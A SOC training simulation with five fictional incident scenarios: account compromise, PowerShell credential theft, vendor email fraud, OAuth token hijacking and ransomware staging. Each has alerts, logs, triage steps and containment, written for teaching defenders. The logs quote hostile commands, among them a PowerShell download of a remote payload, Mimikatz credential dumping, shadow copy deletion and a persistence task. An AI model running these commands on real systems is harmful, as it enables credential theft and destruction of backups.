

**FULLY IMMERSIVE  
SOC TRIAGE +  
ANALYSIS +  
INCIDENT  
HANDLING  
SIMULATION**

**BY IZZMIER IZZUDDIN**

## **SCENARIO 1: SUSPICIOUS AUTHENTICATION PATTERN + POSSIBLE COMPROMISE OF OWA AND AD ACCOUNT**

At 02:13 AM, SOC receives an alert from the SIEM: "Multiple Failed Authentication Attempts Followed by Successful Login From Rare Country Source."

The authenticated user is from the Legal Department with elevated mailbox access. The login occurs via OWA (Outlook Web Access) from IP: 185.77.96.44 (Netherlands), a location the user has never logged in from.

Shortly after login, several unusual behaviours are flagged by different security tools:

1. OWA access at abnormal hour
2. IMAP disabled normally for the organisation, but suddenly IMAP traffic appears
3. EDR shows registry query for saved credentials
4. Firewall shows outbound connection attempt to known malicious ASN
5. Email forwarding rule created silently
6. A new OAuth application with high-risk permission requested but failed

### **Alert Details**

#### **SIEM Alert**

Alert ID: A-SIEM-2025-112322

Alert Name: Unusual Successful Login After Multiple Failed Attempts

Severity: High

User: shirin.legal@company.com

Source IP: 185.77.96.44

Country: Netherlands

Failed Attempts: 14

Successful Login: 1

Login Method: OWA Modern Auth

Device: Chrome Windows 10

Time: 02:13:44 MYT

Correlation Rule: AUTH-014 (Failed→Success from New Geo)

#### **Email Gateway Alert (Triggered 6 minutes later)**

Alert ID: MAIL-EXF-9942

Event: Suspicious Inbox Rule Created

Rule: Forward all emails to "shirin.secure@outlook.com"

Created via: OWA

Source IP: 185.77.96.44

Result: Allowed

## **Firewall Alert**

Outbound Attempt Blocked

Source IP Internal: 10.20.11.77 (Exchange Proxy)

Destination: 176.123.2.44 (Malware C2 ASN: AS206728)

Port: 443

Action: Deny (IPS Block)

Time: 02:21:08

## **EDR Alert**

EDR Event ID: EDR-9923-PROC

Host: WIN-LAP-9921 (User's device)

Event: Credential Store Query (reg.exe)

Process: reg.exe QUERY HKCU\Software\Microsoft\IdentityCRL\StoredIdentities

Time: 02:19:01

Severity: Medium

## **Analyst Workflow: How SOC Works Together**

### **Phase 1: Tier 1 (T1) Initial Triage**

#### **T1 Immediate Checks**

##### **1. Validate Alert is Genuine (not false positive)**

- Timestamp consistent
  - Correlation rule triggered
  - High risk user (Legal)
  - Midnight login, new country
  - Email forwarding rule created
- Confirmed: Suspicious. Not false positive.

##### **2. User Verification (Through IAM Portal)**

- Last login usual location: Malaysia
- Normal login behaviour: Work hours 8am–6pm
- User never travelled in last 6 months (HR travel log available)

##### **3. Identify Asset Ownership**

- User: Senior Legal Officer
- Device: Corporate laptop
- Account permissions: Can access confidential legal documents and agreements

- Risk Level: High business impact

T1 escalates to Tier 2 with summary.

### **T1 Escalation Note to Tier 2**

(Real SOC communication style)

Subject: Escalation – Possible Account Compromise (High Risk User)

Hi Tier 2,

Raising a potential account compromise case for shirin.legal@company.com.

Findings:

- Multiple failed logins from IP 185.77.96.44 (NL)
- Successful OWA login at 02:13 AM (rare)
- Inbox forwarding rule created to external domain
- EDR on user's device flagged credential store query
- Firewall blocked outbound to known malicious ASN

Recommend immediate deep-dive.

Regards,  
T1 Analyst

### **Phase 2: Tier 2 (T2) Deep Analysis**

Tier 2 performs full investigation across SIEM, EDR, network logs, and mail.

#### **1. Timeline Reconstruction (T2 Mandatory Step)**

02:12:50 – Failed logins start (14 attempts)  
02:13:44 – Successful OWA login from NL IP  
02:14:33 – Mailbox access pattern abnormal (legal docs viewed)  
02:16:12 – Email forwarding rule created  
02:18:55 – Unknown OAuth Application permission request  
02:19:01 – EDR credential query event detected  
02:21:08 – Exchange proxy attempted outbound connection (blocked)

Clear indicator: Compromise likely succeeded before security tools stopped lateral movement.

### **Log Deep Dive**

## **OWA Access Logs**

Timestamp: 02:13:44  
Action: LoginSuccess  
User: shirin.legal  
ClientIP: 185.77.96.44  
UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
Protocol: HTTPS  
Location: NL

## **Mailbox Audit Logs**

02:14:33 – FolderAccessed – /Legal Case/Documents  
02:15:01 – SingleItemAccess – Confidential\_Agreement\_v3.docx  
02:16:12 – NewInboxRuleCreated – ForwardToExternal  
ForwardingAddress: shirin.secure@outlook.com

## **EDR Logs**

Process: reg.exe  
Command: reg.exe QUERY HKCU\Software\Microsoft\IdentityCRL\StoredIdentities  
Parent: explorer.exe  
User Context: shirin.legal

## **Firewall**

Attempted Connection to Known C2  
IP: 176.123.2.44  
ASN: AS206728 (Threat Intel: High Risk)  
Outcome: Block

## **3. Threat Intelligence Correlation**

T2 checks TI feeds.

- The Netherlands IP 185.77.96.44 is associated with credential stuffing campaigns in last 30 days.
- The external forwarding email domain is flagged in global phishing campaigns.
- The C2 IP is in ThreatScore: 98/100 malicious.

Indicators match known TTPs of threat actor "APT-Seahorse" (example).

## **Phase 3: Tier 3 (T3) Threat Hunter Validation**

T3 checks if environment-wide similar activity exists.

Findings:

- 3 other accounts attempted from the same NL IP earlier at midnight
- Only this account successfully authenticated
- No malware found on user device yet
- Possible credential leak reused across services

T3 flags this as Account Compromise Attempt – Partially Succeeded.

#### **Phase 4: Decision Making**

Now SOC must decide if this is:

- A. False Positive
- B. Suspicious but benign
- C. True Positive Account Compromise
- D. Full Incident (Incident Response must activate)

Based on evidence:

- Unauthorised login
- Abnormal location
- Illegal forwarding rule created
- Credential harvesting attempt
- Outbound C2 attempt
- Evidence of access to confidential files

Determination:

This is a confirmed True Positive Account Compromise.

Incident Level: High.

IR Activation: Required.

#### **Phase 5: Containment Actions**

Tier 2 triggers IAM + Infra teams.

1. Disable account
2. Block source IP globally
3. Remove forwarding rule
4. Revoke tokens and OAuth grants
5. Force password reset
6. EDR: isolate machine until clean

7. Check if any data exfiltration occurred

## **Phase 6: Communications Workflow**

### **SOC to IAM**

Request immediate disablement of user account: shirin.legal  
Reason: Confirmed unauthorised successful login.

### **SOC to Infra Network**

Block IP 185.77.96.44 at perimeter firewall.  
Block outbound to 176.123.2.44 across all VLANs.

### **SOC to IT Security Lead**

Incident Notification: Account Compromise (Legal Department)

Impact:

- Unauthorised login
- Mail access
- Forwarding rule created
- C2 communication attempt

Actions taken:

- Account disabled
- Malicious IPs blocked
- Host isolated

Next step: Forensic image and IR activation.

## **Phase 7: Final Incident Report Summary**

### **Root Cause**

Credential theft (password used in credential stuffing) allowed attacker to log into OWA.

### **What the Attacker Achieved**

- Valid login to mailbox
- Access to legal documents
- Created forwarding rule
- Attempted token stealing
- Attempted C2 communication (blocked)

## **What Prevented Full Compromise**

- IPS blocked outbound
- EDR detected credential dump query
- SOC triage identified suspicious patterns early



## **SCENARIO 2: SUSPICIOUS ENDPOINT BEHAVIOUR LEADING TO CREDENTIAL THEFT AND LATERAL MOVEMENT ATTEMPT**

At 11:51 PM, an EDR alert triggers: "Unusual PowerShell Execution With Obfuscated Command"

Host: WIN-SALES-221

User: amir.sales@company.com

Within minutes, several correlated security events occur:

1. EDR detects LSASS memory access using non-standard process
2. Windows Event ID 4624 shows abnormal admin account logon
3. SMB traffic attempts lateral movement to Domain Controller
4. Firewall blocks suspicious outbound DNS queries to uncommon domains
5. SIEM flags match for "Possible Credential Theft + Lateral Movement Pattern"

### **Alert Details**

#### **EDR Alert 1**

EDR ID: 2025-EXE-3322

Alert: Suspicious Powershell Invocation

Host: WIN-SALES-221

User: amir.sales

Command Line:

powershell.exe -nop -w hidden -enc SQBFAFgAIAAoACc...

Time: 23:51:44 MYT

Severity: High

#### **EDR Alert 2**

EDR ID: 2025-CRED-2211

Event: LSASS Memory Access Attempt

Process: rundll32.exe

Process Path: C:\Windows\System32\rundll32.exe

Time: 23:53:01 MYT

Severity: High

#### **SIEM Alert**

Alert ID: SIEM-LMOV-1192

Alert Name: Possible Credential Dump + Lateral Movement Attempt

Correlation: EDR + Windows Logs + Network Logs

User: amir.sales

Host: WIN-SALES-221  
Destination Host: DC-01  
Time: 23:54:18  
Severity: Critical

### **Network Alert**

Outbound DNS Query Blocked  
Query: randomstring-js9dk2d.info  
Source Host: WIN-SALES-221  
Category: Malware  
Action: Block  
Time: 23:55:10

### **Windows Security Log**

Event ID 4624 – Logon Success  
Account: admin\_temp  
Logon Type: 3  
Source Network Address: 10.20.12.221 (WIN-SALES-221)  
Time: 23:56:33

## **Analyst Workflow: How SOC Works Together**

### **Phase 1: Tier 1 (T1) Initial Triage**

#### **T1 Analyst Checks**

##### **1. Validate alert authenticity:**

- Multiple alerts from same host
- PowerShell obfuscation detected
- LSASS access attempt detected
- Admin account logon from Sales machine  
→ No sign of false positives.

##### **2. User identity review:**

- User: Amir, Sales Department, non-privileged
- No legitimate reason to execute PowerShell advanced scripts
- No admin or privileged access assigned

##### **3. Host review:**

- Windows 10
- Last patch update: 3 weeks ago
- EDR installed and healthy

T1 escalates to Tier 2 due to multi-phase malicious behaviour.

## **T1 Escalation To T2**

Subject: Escalation – Potential Credential Theft + Lateral Movement

Hi T2,

Suspicious activity detected on host WIN-SALES-221.

Key findings:

- Obfuscated PowerShell execution
- Attempted LSASS access via rundll32.exe
- Outbound DNS query blocked
- Admin account (admin\_temp) logged in remotely from same host
- Lateral movement activity detected towards Domain Controller (DC-01)

Flagging for immediate deep investigation.

Regards,  
T1 Analyst

## **Phase 2: Tier 2 Deep Analysis**

### **1. Build Timeline (Critical step)**

23:51:44 – Obfuscated PowerShell command executed  
23:53:01 – rundll32.exe attempts to read LSASS memory  
23:54:18 – SIEM flags lateral movement initiation  
23:55:10 – DNS query to randomstring-js9dk2d.info blocked  
23:56:33 – admin\_temp account successfully logged into DC-01  
23:56:49 – SMB session attempted from WIN-SALES-221 to DC-01

Sequence clearly shows malicious technique chaining.

### **2. Deep Log Analysis (Full logs)**

#### **PowerShell Logs**

Event ID: 400/403

Host: WIN-SALES-221  
ScriptBlock:  
[Convert]::FromBase64String('SQBFAFg...') | IEX

Decoded content:

Invoke-WebRequest http://185.118.67.22/payload.ps1 -UseBasicParsing

### **LSASS Access Log**

Process: rundll32.exe  
Attempted memory read: lsass.exe PID 612  
Technique Detected: Mimikatz-like behaviour

### **Admin Account Log**

Event ID 4624 – Successful Logon  
Account: admin\_temp  
Logon Type: 3 (Network)  
Caller Hostname: WIN-SALES-221

This shows attacker leveraged stolen credentials.

### **SMB and Lateral Movement Log**

SMB Connection:  
Source: WIN-SALES-221  
Destination: DC-01  
Action: Tree Connect to IPC\$  
Status: Access Denied (Failed)

Failed because DC uses LAPS + admin\_temp was limited.

### **Network Threat Intel**

Destination: 185.118.67.22  
Reputation: Malicious (C2 Server)  
Threat Score: 97/100

## **3. T2 Summary Findings**

- Host executed obfuscated script
- Attacker attempted credential dump
- Attacker reused stolen admin credentials

- Attempted lateral movement to DC
- Used LOLBins: Powershell, Rundll32, SMB
- Malicious command-and-control connection attempted

Conclusion:

True Positive Host-Based Compromise

Lateral movement attempted but failed.

T2 escalates to Tier 3.

### **Phase 3: Tier 3 (Threat Hunting)**

T3 checks if other hosts show similar patterns.

Findings:

- Two other hosts had DNS queries to similar domains
- No LSASS access attempts
- No lateral movement
- Indicates attack scope limited but spread is possible

Recommendation: Activate containment across the affected segment.

### **Phase 4: Incident Classification and Decision**

Classification:

**Endpoint Compromise with Credential Theft + Attempted Lateral Movement**

Severity: Critical

IR Team Activation: Required

Reason:

- LSASS access
- Admin credential misuse
- DC lateral movement attempt
- Known C2 communication
- Successful malicious login

### **Phase 5: Containment Actions**

SOC and IT Security initiate:

1. **Immediate Host Isolation**  
Isolate WIN-SALES-221 via EDR.

2. **Disable admin\_temp account**

Required due to credential compromise.

3. **Reset passwords for:**

- admin\_temp
- amir.sales

4. **Network blocks**

Block IP 185.118.67.22 and domain \*.randomstring-js9dk2d.info.

5. **Scan entire Sales VLAN** for similar behaviour.

6. **Perform memory dump analysis** of LSASS on the compromised host.

## **Phase 6: Communications Workflow**

### **SOC to Wintel**

Please disable admin\_temp account immediately.

Suspected credential compromise linked to PowerShell-based attack and LSASS dumping.

Require confirmation once completed.

### **SOC to Network Security**

Block outbound traffic to IP 185.118.67.22.

Block DNS resolution for randomstring-js9dk2d.info and similar subdomains.

### **SOC to IT Security Lead**

Incident Notification: Endpoint Compromise (WIN-SALES-221)

Impact Summary:

- Obfuscated PowerShell execution
- Rundll32 LSASS access attempt
- Admin account misuse
- Attempted lateral movement to Domain Controller

Actions Taken:

- Host isolated
- Compromised accounts disabled
- Network blocks enforced

Next Steps:

- Forensic image required
- Check for persistence mechanisms

## **Phase 7: Full Incident Report Summary**

### **Root Cause**

User Amir opened a phishing document delivered via personal email (not corporate email).  
Macro executed obfuscated PowerShell to download payload.

### **What the Attacker Achieved**

- Executed PowerShell in-memory
- Attempted LSASS credential dump
- Logged in using stolen admin\_temp credentials
- Attempted lateral movement to DC

### **What Prevented Further Damage**

- DC required LAPS-based local admin
- EDR blocked payload execution
- DNS filtering stopped callback
- SOC responded quickly

## **SCENARIO 3: AI-ASSISTED BUSINESS EMAIL COMPROMISE (BEC) WITH VENDOR IMPERSONATION AND PAYMENT DIVERSION ATTEMPT**

Attackers compromise a vendor's email account (not internal account). They use AI-generated writing style mimicry to send a highly convincing invoice update email to Finance employees.

The email contains:

1. A believable message referencing a real ongoing project
2. A PDF invoice that looks legitimate
3. A request to update payment bank account details
4. Perfect English written in the same tone as the vendor
5. Valid DKIM, SPF, DMARC (because the vendor is genuinely compromised)

Finance forwards the email to IT Security asking for confirmation.

### **Alert Details**

#### **Email Gateway Alert**

Alert ID: MAIL-BEC-18823

Event: Suspicious source with vendor impersonation pattern

Signal: Conversation hijack indicators detected

Email From: account.manager@trustedvendor.com

Email To: finance.procurement@company.com

Subject: Payment Terms Update for Ongoing Project

Attachments: Invoice\_Update\_2025.pdf

DMARC: Pass

SPF: Pass

DKIM: Valid

Confidence: Medium

#### **O365 – User Action Alert**

Alert ID: ATP-INBOXRULE-5521

User: finance.procurement

Event: New inbox rule created

Rule Name: "Move to Archive"

Action: Move messages from CFO mailbox to Archive folder

Time: 09:13:44 AM

#### **SIEM Attack Pattern Alert**



Alert ID: BEC-DIVERSION-9922

Alert Name: Possible Payment Diversion Attempt

Trigger Reason:

- External vendor domain compromised (shared TI feed)
- Internal staff mailbox rule creation (circumvention)
- Outbound connection to non-banking IP

Severity: High

Time: 09:14:51 AM

## **Secure Proxy Alert**

Outbound Traffic Alert

User: finance.procurement

URL Accessed: <https://secure-global-bank-payments.com/vendor-update>

Reputation: Newly Registered Domain

Risk: High

## **SOC Workflow: How SOC Works Together**

### **Phase 1: Tier 1 (T1) Initial Triage**

#### **Step 1 – Validate alert context**

T1 identifies:

- BEC signals
- Inbox rule creation (classic attempt to hide CFO replies)
- Outbound to possible fraudulent bank account updating portal
- Vendor email domain appears legitimate, making detection more difficult

#### **Step 2 – Quick checks**

##### **User behaviour profile:**

- Finance staff
- High-risk department
- Daily interactions with vendors
- No unusual logins recently

##### **Email details:**

- Vendor domain legitimate
- Writing style is unusually perfect for this vendor
- Invoice PDF contains slightly modified bank account

### **Step 3 – Severity Determination**

Email + user action + proxy event indicates possible BEC payment fraud.

T1 escalates immediately to Tier 2.

### **T1 Escalation Note to Tier 2**

Subject: Escalation – Possible BEC Payment Diversion Attempt

Hi T2,

Raising potential Business Email Compromise for finance.procurement@company.com.

Events:

1. Vendor email requesting bank account update for ongoing project.
2. AI-style writing pattern detected (smooth tone shift).
3. Inbox rule created to hide CFO responses.
4. User accessed a newly registered domain related to 'vendor payments'.
5. SIEM flagged payment diversion indicators.

Recommend immediate deep investigation.

### **Phase 2: Tier 2 Deep Analysis**

#### **1. Reconstruct Timeline**

09:12:33 – Email received from compromised vendor account  
09:13:22 – User opened PDF attachment  
09:13:44 – Inbox rule created to hide CFO mails  
09:14:02 – User clicked fake payment site link  
09:14:51 – SIEM triggered BEC detection correlation rule  
09:15:20 – Finance forwarded email to IT Security asking for confirmation

Important observation: If the user forwarded the email to IT Security, the attacker is not fully in control, but they attempted mailbox manipulation to slow down detection.

#### **2. Email Message Header Analysis (Full, Realistic)**

##### **Header Snippet**

Return-Path: <account.manager@trustedvendor.com>  
Received-SPF: Pass  
Authentication-Results:

dmARC=pass  
dkim=pass header.d=trustedvendor.com  
X-MS-Exchange-Organization-AuthSource: vendor-mail1.trustedvendor.com

DMARC, SPF, DKIM are all valid.

This confirms the vendor's email account is compromised, not spoofed.

### **3. PDF Invoice Metadata**

Author: Unknown

Creation Tool: Skia/PDF Renderer (non-standard)

Bank Account: 334221118 | Bank ABC (original vendor uses Standard Chartered)

This is a strong BEC indicator.

### **4. Mailbox Rule Analysis**

Rule Name: Move to Archive

Condition: From: CFO@company.com

Action: Move to Archive

Created via: Outlook Web / Remote Session

IP Address: 102.165.122.44 (South Africa)

User is in Malaysia.

Rule creation IP is foreign → not user's legitimate action.

### **5. Threat Intelligence Check**

TI reports match:

- The vendor's email domain is listed in compromised vendor notification feeds
- Same attacker cluster known for invoice fraud campaigns across Southeast Asia

### **6. Determination**

Tier 2 concludes:

This is a True Positive BEC attempt with high risk of financial loss.

Escalation to IR team required.

### **Phase 3: Tier 3 (Threat Hunter)**

T3 checks environment-wide signals:

- No widespread BEC
- No other mailboxes targeted
- No credential phishing indicators
- Only the vendor's email account was abused
- No malware involvement
- No internal compromise
- This is **external compromise** → **internal fraud attempt**

#### **Phase 4: Incident Classification**

Classification: Business Email Compromise (Vendor Compromise) – Attempted Payment Diversion

Severity: Critical

Reason:

- Potential multimillion ringgit financial loss
- Vendor impersonation
- Inbox rule manipulation
- Fraudulent bank account redirection
- User interaction (opened PDF + clicked link)

#### **Phase 5: Containment Actions**

##### **1. Block the sender's email domain temporarily**

Email Gateway blocks emails from trustedvendor.com until vendor confirms remediation.

##### **2. Remove malicious inbox rule**

Using PowerShell:

Remove-InboxRule -Mailbox finance.procurement -Identity "Move to Archive"

##### **3. Reset user session tokens**

Force logout of user:

Revoke-AzureADUserAllRefreshToken -ObjectId <userID>

##### **4. Notify vendor's IT team**

Vendor must secure their environment.

## **5. Block fraudulent domain and IPs**

- secure-global-bank-payments.com
- 102.165.122.44

## **6. Finance instructed NOT to process any bank update.**

### **Phase 6: Communications Workflow**

#### **SOC to Finance**

Dear Finance,

Please do not process any bank account updates from the attached invoice.  
The email originates from a compromised vendor account.

You are safe since you escalated early.

Regards,  
SOC

#### **SOC to Vendor IT**

Your account manager mailbox appears compromised.

Indicators:

- Fraudulent invoice sent to us
- Inbox rule manipulation
- PDF with modified bank details

Please confirm remediation steps on your side.

#### **SOC to Management (CFO/CISO)**

Incident Notification: BEC Attempt – Vendor Compromise

Summary:

- Vendor account used to send fraudulent invoice
- Attempt to divert payment to non-authorised bank
- Inbox rule created on staff mailbox to hide communication
- User visited fraudulent website
- Incident stopped before any payment processed

Risk: High.

No financial loss occurred.

## **Phase 7: Final Incident Report Summary**

### **Root Cause**

Vendor's email system compromised using stolen credentials.

Attacker studied historical email chains to craft perfect invoice fraud attempt.

### **What Attacker Attempted**

- Modified invoice PDF
- Bank account diversion
- Hide communication by mailbox rule
- Create urgency to force payment
- Redirect user to fake bank portal
- Avoid detection via DMARC-valid emails

### **What Prevented Loss**

- Staff escalated email to IT Security
- SOC detected mailbox rule
- Proxy blocked suspicious outbound
- Manual review caught PDF metadata anomalies

## SCENARIO 4: CLOUD IDENTITY TOKEN HIJACKING VIA MALICIOUS OAUTH APPLICATION AND SILENT PERSISTENCE IN AZURE AD

At 03:02 AM, SOC receives an alert from Microsoft Defender for Cloud Apps: "OAuth Application Granted Suspicious High-Risk Permission"

This is followed by:

1. User tokens being used from a foreign IP
2. Multiple access requests to SharePoint confidential files
3. Silent connection via refresh token replay
4. Creation of a new OAuth app granting "offline\_access" and "Files.ReadWrite.All"
5. Impossible travel event
6. SIEM correlation rule firing: "Token Replay Attack Pattern"

### Alerts

#### Cloud App Security Alert

Alert ID: CA-OAUTH-9221  
Alert Name: High-Risk OAuth App Granted Access  
App Name: Global Document Sync  
Publisher: Unknown Developer  
Permissions Granted:  
- offline\_access  
- Files.ReadWrite.All  
- User.Read  
User Who Consented: adam.finance@company.com  
Consent Method: OAuth Grant  
Time: 03:02:44 AM  
Severity: High

#### Azure AD Sign-In Alert

Alert ID: AAD-SIGNIN-5521  
User: adam.finance  
Event: Token Replay Detected (Refresh Token)  
Location: Brazil  
Client App: Microsoft Graph API  
IP: 177.34.228.98  
Time: 03:03:01 AM

#### Impossible Travel Alert

Alert Name: Sign-ins from Unusual Locations

Locations:

- 03:02 AM: Malaysia (Corporate IP)
- 03:03 AM: Brazil (Token Replay)

Decision: Risk State – High

Reason: Improbable travel

### **SharePoint Access Pattern Alert**

Files Accessed:

- /Finance/2025 Budget Draft.xlsx
- /Finance/Salaries\_ExecOnly/Jan2025.xlsx
- /Finance/Vendor\_Payments/History.pdf

Activity: DownloadAttempt

Client: Microsoft Graph API

Result: Allowed

### **Secure Proxy Log**

Outbound Access:

URL: <https://global-sync-storage.net/api/token>

Reputation: Newly Registered Domain

Category: Suspicious Cloud Storage

Time: 03:04:22 AM

## **3. SOC Workflow: How SOC Works Together**

### **Phase 1: Tier 1 (T1) Initial Triage**

#### **Step 1 – Validate Alert Context**

T1 identifies:

- OAuth permission consented by user at 3 AM
- User is Finance staff (high risk)
- “offline\_access” means persistent access without MFA
- Token replay from Brazil
- SharePoint downloads of highly sensitive files

#### **Step 2 – Quick Checks on User**

- User normally works 8 AM – 6 PM
- No travel history



- No VPN usage from Brazil
- No scheduled automation tasks

### **Step 3 – Severity Determination**

High-risk OAuth + token replay = critical.  
T1 escalates to T2.

### **T1 Escalation to Tier 2**

Subject: Escalation – Cloud Token Hijacking / OAuth Abuse

Hi Tier 2,

Suspicious OAuth app named "Global Document Sync" was granted full file access by user adam.finance at 03:02 AM.

Immediately afterward:

- Token replay detected from Brazil
- Multiple confidential finance files accessed via Graph API
- Possible exfil through suspicious domain

Indicators show cloud token compromise.

Please investigate with priority.

Regards,  
T1 Analyst

### **Phase 2: Tier 2 Deep Analysis**

#### **1. Build Attack Timeline**

03:01:55 – OAuth consent page triggered  
03:02:44 – User grants permission to unknown app  
03:03:01 – Refresh token replay detected from Brazil  
03:03:11 – Graph API reads sensitive SharePoint folders  
03:04:22 – Outbound to suspicious cloud storage domain  
03:05:30 – Multiple download requests executed via API

Clear sign of malicious cloud token hijacking.

#### **2. OAuth Application Metadata**

App Name: Global Document Sync  
App ID: f7729dce-2121-4dbb-99b3-21c78fa0d92e  
Publisher: Unknown  
Redirect URL: https://global-sync-storage.net/redirect  
Permissions:

- Files.ReadWrite.All (Full SharePoint & OneDrive)
- offline\_access (Persistent token)
- User.Read

This type of app is often used for silent persistence.

### **3. Azure AD Sign-In Logs**

#### **Log Snippet**

Sign-In Type: Refresh Token  
Authentication Requirement: None (session reused)  
Client App: Graph API  
Device ID: Not present  
IP: 177.34.228.98 (Brazil)  
Result: Success

No MFA triggered because refresh token does not require MFA.  
This confirms replay attack.

### **4. SharePoint Access Logs**

Activity: FileDownload  
UserAgent: GraphAPI/1.0  
Files:

- /Finance/Salaries\_ExecOnly/Jan2025.xlsx
- /Finance/2025 Budget Draft.xlsx

AccessMethod: API

Sensitive files accessed silently.

### **5. Proxy Logs**

POST /api/upload HTTP/1.1  
Host: global-sync-storage.net  
Content-Length: 2141244 bytes

Strong indicator of data exfiltration.

## **6. Determination**

Tier 2 confirms:

Cloud identity compromise with token replay used for data exfiltration.

Escalation to IR team is mandatory.

### **Phase 3: Tier 3 (Threat Hunting)**

T3 checks for lateral spread:

- No other accounts used OAuth app
- No other refresh token replays
- Only the finance user was targeted
- Actor used automation (API-driven)
- Likely attack vector: OAuth consent phishing

Conclusion: Containment must be immediate but scope is limited.

### **Phase 4: Incident Classification**

Classification: Cloud Token Hijacking + OAuth Abuse + Confidential Data Exfiltration

Severity: Critical

Reason:

- Full cloud file access granted
- Attacker used refresh token to avoid MFA
- Sensitive financial files accessed
- Evidence of exfiltration
- Persistent OAuth app created for future access

### **Phase 5: Containment Actions**

#### **1. Disable malicious OAuth application**

Remove-AzureADServicePrincipal -ObjectId <AppID>

#### **2. Revoke all user session tokens**

Revoke-AzureADUserAllRefreshToken -ObjectId <UserID>

#### **3. Force password reset for the user**

Mandatory due to token theft.

#### **4. Block malicious domain**

- global-sync-storage.net

#### **5. Enable Conditional Access rules**

- Block risky OAuth apps
- Block legacy authentication
- Require MFA for all OAuth consent

#### **6. Notify legal and compliance**

Because files containing salaries were exfiltrated.

### **Phase 6: Communications Workflow**

#### **SOC to IAM**

Please revoke all refresh tokens for adam.finance, enforce password reset, and disable OAuth consent for this user.

Detected cloud token compromise and malicious OAuth app.

#### **SOC to Cloud Team**

Remove OAuth app "Global Document Sync" immediately.  
Confirm no other apps created with similar permissions.

#### **SOC to Finance Management**

Finance files containing salary data were accessed via stolen cloud token.

We blocked the attacker, but exfiltration is confirmed.  
Expect legal and compliance escalation.

#### **SOC to CISO**

Incident Notification: Cloud Identity Token Hijacking

Summary:

- OAuth consent phishing success
- Refresh token replay from Brazil

- Sensitive files accessed and exfiltrated
- Malicious OAuth app created for persistence

#### Actions Taken:

- App removed
- Tokens revoked
- Domain blocked

Severity Level: Critical

### **Phase 7: Final Incident Report Summary**

#### **Root Cause**

User fell for OAuth consent phishing.

Attacker obtained refresh token and reused it via Graph API.

#### **What Attacker Achieved**

- Created malicious OAuth app with full access
- Used stolen refresh token to bypass MFA
- Accessed and downloaded confidential financial files
- Attempted exfiltration to suspicious cloud domain
- Established persistence via OAuth permissions

#### **What Prevented Further Damage**

- Cloud App Security flagged high-risk app
- Impossible Travel alert triggered
- Proxy blocked suspicious domain
- SOC triaged quickly
- Immediate token revocation terminated attacker access

## **SCENARIO 5: RANSOMWARE PRE-ENCRYPTION ATTACK CHAIN DETECTED IN INTERNAL NETWORK**

At 01:32 AM, EDR detects SharpHound-like behaviour followed by SMB reconnaissance, suspicious PowerShell execution, and a sudden increase of file rename operations on a Finance File Server.

### **Alerts and IOC Events**

#### **EDR Alert 1 – Credential Harvesting Behaviour**

Alert ID: EDR-CRED-99234

Host: WIN-ACCT-011

User: chong.accounts

Process: powershell.exe

Command: powershell -nop -w hidden -enc UwB5AHMAAdABIAG0ALgBEAGkAcw...

Decoded: Invoke-Mimikatz -DumpCreds

Time: 01:32:11 AM

Severity: High

#### **EDR Alert 2 – Suspicious LSASS Access**

Process: rundll32.exe

Action: Attempted memory read from lsass.exe

Result: Blocked

Time: 01:32:55 AM

#### **SIEM Correlation Alert – Lateral Movement Pattern**

Alert ID: SIEM-LMOV-4421

Alert Name: Possible Lateral Movement Using SMB

Source Host: WIN-ACCT-011

Destinations (4 hosts):

- FS-FIN-01
- FS-HR-02
- WIN-SRV-BACKUP1
- DC-01

Event Count: >180 SMB attempts

Time: 01:33:20 AM

Severity: Critical

#### **Network IDS Alert – Malware Staging**

Event: File Transfer Over SMB to FS-FIN-01

Filename: payload.tmp  
File Size: 4.8 MB  
SHA256: 99221a7c9987f02aa2cdd332af61c9b2bc1fc77...  
Action: Allowed  
Time: 01:34:44 AM

### **File Server Behaviour Alert – Abnormal Rename Activity**

File Server: FS-FIN-01  
Event: High-volume file rename spike  
Pattern: \*.xlsx → \*.xlsx.tmp  
Files involved: 233 files (Finance share)  
Time: 01:35:12 AM

(This behaviour is common during ransomware testing or pre-encryption scanning of accessible files.)

### **EDR Alert 3 – Shadow Copy Deletion Attempt**

Command:  
vssadmin delete shadows /all /quiet  
Time: 01:35:55 AM  
Result: Blocked by EDR

### **EDR Alert 4 – Scheduled Task Creation (Persistence)**

Command:  
schtasks /create /tn "SysUpdate" /tr C:\ProgramData\syncsvc.exe /sc hourly  
Time: 01:36:12 AM  
Status: Blocked

## **3. SOC Workflow: Full End-to-End Coordination**

### **Phase 1: Tier 1 (T1) Initial Triage**

#### **T1 validates alert chain:**

- Credential theft attempt
- LSASS access
- Lateral SMB movement
- File rename spike on Finance Server
- Shadow copy deletion attempt
- Malware staging file observed

This chain is consistent with pre-encryption ransomware behaviour.

## **T1 Severity Assessment**

Critical. Must escalate immediately.

## **T1 Escalation to Tier 2**

Subject: Escalation – Ransomware Pre-Encryption Indicators (URGENT)

Hi T2,

Multiple correlated alerts across EDR, SIEM, and File Server indicate potential ransomware staging activity.

Key Indicators:

- Obfuscated PowerShell with credential dumping
- LSASS access attempt
- SMB scanning across 4 servers
- Malware staging on FS-FIN-01
- Shadow copy deletion attempt
- High-volume rename patterns

Recommend deep dive and IR activation.

Regards,  
T1 Analyst

## **Phase 2: Tier 2 Deep Analysis**

### **1. Attack Timeline Reconstruction**

01:32:11 – PowerShell executed with encoded payload  
01:32:55 – LSASS memory access attempt blocked  
01:33:20 – SMB scan to finance, HR, backup and DC servers  
01:34:44 – File transferred to FS-FIN-01  
01:35:12 – High-volume file rename spike (possible encryption test)  
01:35:55 – vssadmin delete shadows attempt  
01:36:12 – Scheduled task "SysUpdate" attempted for persistence

This is a complete pre-encryption chain commonly associated with groups like LockBit, BlackCat, or Medusa.

### **2. Detailed Log Deep Dive**

#### **PowerShell (Decoded Snippet)**



Invoke-ReflectivePEInjection  
Invoke-Mimikatz -DumpCreds

### **SMB Traffic**

Tree Connect Request → IPC\$  
Tree Connect Request → Finance\$  
Share Access: Read, Write

### **File Server Rename Log**

File: 2025\_BudgetPlan.xlsx → 2025\_BudgetPlan.xlsx.tmp  
File: VendorPayments.xlsx → VendorPayments.xlsx.tmp

### **Scheduled Task Creation**

schtasks.exe /create /tn "SysUpdate" /tr C:\ProgramData\syncsvc.exe

This is a common persistence mechanism observed in ransomware playbooks.

## **3. Lateral Movement and Credential Analysis**

T2 checks AD event logs:

- Stolen credentials belong to:

User: backup.service  
Privilege: Domain Backup Operator

Backup Operators can access highly privileged areas. High risk.

## **4. Determination**

Tier 2 determines:

This is a confirmed active ransomware intrusion in the preparation stage.  
Encryption may begin imminently.

IR Activation required now.

